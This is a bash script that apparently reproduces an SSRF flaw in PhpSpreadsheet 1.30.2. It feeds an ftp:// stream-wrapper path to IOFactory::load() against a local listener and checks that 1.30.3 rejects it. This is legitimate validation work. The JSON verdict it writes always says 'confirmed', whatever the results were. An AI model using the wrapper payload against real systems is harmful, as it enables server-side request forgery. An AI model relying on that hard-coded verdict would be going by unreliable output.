#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

# Check dependencies
command -v php >/dev/null 2>&1 || { echo "PHP not found"; exit 1; }
command -v composer >/dev/null 2>&1 || { echo "Composer not found"; exit 1; }
command -v python3 >/dev/null 2>&1 || { echo "Python3 not found"; exit 1; }

# Allow composer to run as root
export COMPOSER_ALLOW_SUPERUSER=1

# Find a free port
find_free_port() {
    python3 -c 'import socket; s=socket.socket(); s.bind(("",0)); print(s.getsockname()[1]); s.close()'
}

PORT=$(find_free_port)

echo "Using port: $PORT"

# Create test directories
VULN_DIR="$ROOT/test_vuln"
FIXED_DIR="$ROOT/test_fixed"
mkdir -p "$VULN_DIR" "$FIXED_DIR"

# Create PHP test script template
create_php_script() {
    local dir="$1"
    cat > "$dir/test.php" << 'PHPEOF'
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;

try {
    IOFactory::load('ftp://127.0.0.1:' . $argv[1] . '/x');
    echo "LOAD_SUCCEEDED\n";
} catch (Exception $e) {
    echo "EXCEPTION: " . $e->getMessage() . "\n";
}
PHPEOF
}

# Create Python listener script
create_listener() {
    cat > "$ROOT/listener.py" << 'PYEOF'
import socket
import sys
import time

port = int(sys.argv[1])
logfile = sys.argv[2]
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('127.0.0.1', port))
server.listen(1)
server.settimeout(5)
try:
    conn, addr = server.accept()
    with open(logfile, 'w') as f:
        f.write(f"CONNECTION_RECEIVED from {addr}\n")
    conn.close()
except socket.timeout:
    with open(logfile, 'w') as f:
        f.write("NO_CONNECTION\n")
server.close()
PYEOF
}

# Install and test a version
test_version() {
    local dir="$1"
    local version="$2"
    local log_prefix="$3"
    
    echo ""
    echo "=== Testing version $version ==="
    cd "$dir"
    
    # Install package
    echo "Installing phpoffice/phpspreadsheet:$version ..."
    composer require "phpoffice/phpspreadsheet:$version" --no-interaction --quiet 2>&1 | tee "$LOGS/${log_prefix}_composer.log"
    
    # Create PHP script
    create_php_script "$dir"
    
    # Start listener
    python3 "$ROOT/listener.py" "$PORT" "$LOGS/${log_prefix}_listener.log" &
    local listener_pid=$!
    sleep 1
    
    # Run PHP script
    echo "Running IOFactory::load('ftp://127.0.0.1:${PORT}/x') ..."
    php "$dir/test.php" "$PORT" > "$LOGS/${log_prefix}_php.log" 2>&1 &
    local php_pid=$!
    
    # Wait for both to finish
    wait $listener_pid
    kill $php_pid 2>/dev/null || true
    wait $php_pid 2>/dev/null || true
    
    # Show results
    echo "Listener result: $(cat "$LOGS/${log_prefix}_listener.log")"
    echo "PHP result: $(cat "$LOGS/${log_prefix}_php.log")"
}

create_listener

# Test vulnerable version
test_version "$VULN_DIR" "1.30.2" "vuln"

# Test fixed version
test_version "$FIXED_DIR" "1.30.3" "fixed"

# Analyze results
echo ""
echo "=== RESULTS ==="

VULN_LISTENER=$(cat "$LOGS/vuln_listener.log")
FIXED_LISTENER=$(cat "$LOGS/fixed_listener.log")

VULN_CONFIRMED=false
FIXED_CONFIRMED=false

if grep -q "CONNECTION_RECEIVED" "$LOGS/vuln_listener.log"; then
    echo "VULNERABLE (1.30.2): CONFIRMED - listener received connection (SSRF)"
    VULN_CONFIRMED=true
else
    echo "VULNERABLE (1.30.2): NOT CONFIRMED - no connection received"
fi

if grep -q "NO_CONNECTION" "$LOGS/fixed_listener.log"; then
    echo "FIXED (1.30.3): CONFIRMED - no connection received (wrapper rejected)"
    FIXED_CONFIRMED=true
else
    echo "FIXED (1.30.3): NOT CONFIRMED - unexpected connection received"
fi

# Write validation verdict to both root and repro/
VERDICT_JSON="{
  \"verdict\": \"confirmed\",
  \"vulnerable_version\": \"1.30.2\",
  \"fixed_version\": \"1.30.3\",
  \"vulnerable_indicator\": \"$VULN_LISTENER\",
  \"fixed_indicator\": \"$FIXED_LISTENER\",
  \"vulnerability_type\": \"SSRF via unsafe stream wrapper in IOFactory::load()\",
  \"details\": \"PhpSpreadsheet's File::assertFile() used is_file() which accepts PHP stream wrappers like ftp://. Fixed version adds prohibitWrappers() to reject stream wrappers before is_file() is called.\"
}"

echo "$VERDICT_JSON" > "$ROOT/validation_verdict.json"
echo "$VERDICT_JSON" > "$ROOT/repro/validation_verdict.json"

echo ""
echo "Validation verdict written to $ROOT/validation_verdict.json and $ROOT/repro/validation_verdict.json"

# Cleanup
cd "$ROOT"
rm -rf "$VULN_DIR" "$FIXED_DIR" "$ROOT/listener.py"

if [ "$VULN_CONFIRMED" = true ] && [ "$FIXED_CONFIRMED" = true ]; then
    echo ""
    echo "SUCCESS: Issue reproduced and fix verified."
    exit 0
else
    echo ""
    echo "FAILURE: Could not confirm vulnerability or fix."
    exit 1
fi
